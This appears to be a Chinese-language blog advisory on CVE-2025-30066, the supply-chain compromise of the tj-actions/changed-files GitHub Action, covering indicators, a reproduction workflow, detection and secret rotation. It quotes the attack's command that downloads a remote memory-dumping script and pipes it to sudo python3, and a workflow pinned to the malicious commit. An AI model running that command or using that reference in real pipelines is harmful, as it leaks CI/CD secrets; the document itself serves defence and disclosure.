高危供应链攻击:CVE-2025-30066漏洞剖析与应对指南

针对 tj-actions/changed-files GitHub Action 的供应链攻击(CVE-2025-30066)分析。攻击者篡改版本标签,植入恶意脚本窃取并泄露CI/CD工作流中的敏感秘密。文章详细说明了漏洞细节、影响范围、检测方法与修复步骤。

CVE-2025-30066 漏洞详情

摘要 一个供应链攻击入侵了 tj-actions/changed-files GitHub Action,影响了超过 23,000 个代码仓库。攻击者追溯性地修改了多个版本标签,使其指向一个恶意提交,导致 CI/CD 秘密在工作流日志中暴露。该漏洞在 2025年3月14日至3月15日期间存在,现已被修复。此漏洞存在未经授权访问敏感信息的重大风险。 此漏洞已在 v46.0.1 版本中修复。

详情 此次攻击涉及修改 tj-actions/changed-files GitHub Action 以执行恶意 Python 脚本。该脚本从 Runner Worker 进程内存中提取秘密,并将其打印在 GitHub Actions 日志中,使得在拥有公开工作流日志的仓库中这些秘密可被公开访问。

关键入侵指标 (IoC):

  • 恶意提交: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  • 追溯更新的指向恶意提交的标签:
    • v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
    • v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

恶意代码执行: 恶意脚本下载并执行了一个 Python 脚本,该脚本扫描内存以查找秘密,将其进行 base64 编码,然后记录在构建日志中:

1
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

该脚本针对 Runner Worker 进程,提取并外泄其内存内容。

概念验证 (PoC) 复现步骤:

  1. 创建一个使用 tj-actions/changed-files action 的 GitHub Actions 工作流:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
  1. 运行该工作流并在 Actions 标签页中检查日志。
  2. 易受攻击的工作流可能在日志中显示秘密。

检测: 使用 Harden-Runner 分析网络流量,它可以检测到对以下地址的未授权出站请求:

  • gist.githubusercontent.com

实时复现日志: 🔗 Harden-Runner Insights 此攻击被 StepSecurity 检测到,当时异常检测标记了一个指向 gist.githubusercontent.com 的未授权出站网络调用。

漏洞持续时间 该漏洞在 2025年3月14日至3月15日期间活跃。

需采取的措施

  1. 审查你在 3月14日至3月15日期间执行的工作流:

    • 检查 changed-files 部分是否有意外输出。
    • 使用以下命令解码可疑输出:
      1
      
      echo 'xxx' | base64 -d | base64 -d
      
    • 如果输出包含敏感信息(例如令牌或秘密),请立即撤销并轮换这些秘密。
  2. 更新引用受损提交的工作流:

    • 如果你的工作流直接通过其 SHA 引用恶意提交,请立即更新它们以避免使用受感染的版本。
  3. 标签版本:

    • 如果你正在使用带标签的版本(例如 v35, v44.5.1),则无需采取任何行动,因为这些标签已被更新,现在可以安全使用。
  4. 轮换可能已暴露的秘密:

    • 作为预防措施,轮换在此时间范围内可能已暴露的任何秘密,以确保工作流的持续安全性。

影响

  • 漏洞类型: 供应链攻击,秘密暴露,信息泄露
  • 受影响对象:
    • 超过 23,000 个使用 tj-actions/changed-files 的仓库。
    • 拥有公开仓库的组织面临最高风险,因为它们的日志可能已经泄露。
  • 潜在后果:
    • CI/CD 秘密被盗(API 密钥、云凭证、SSH 密钥)。
    • 未经授权访问源代码、基础设施和生产环境。
    • 公开仓库中的凭证泄露,可能引发进一步的供应链攻击。

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计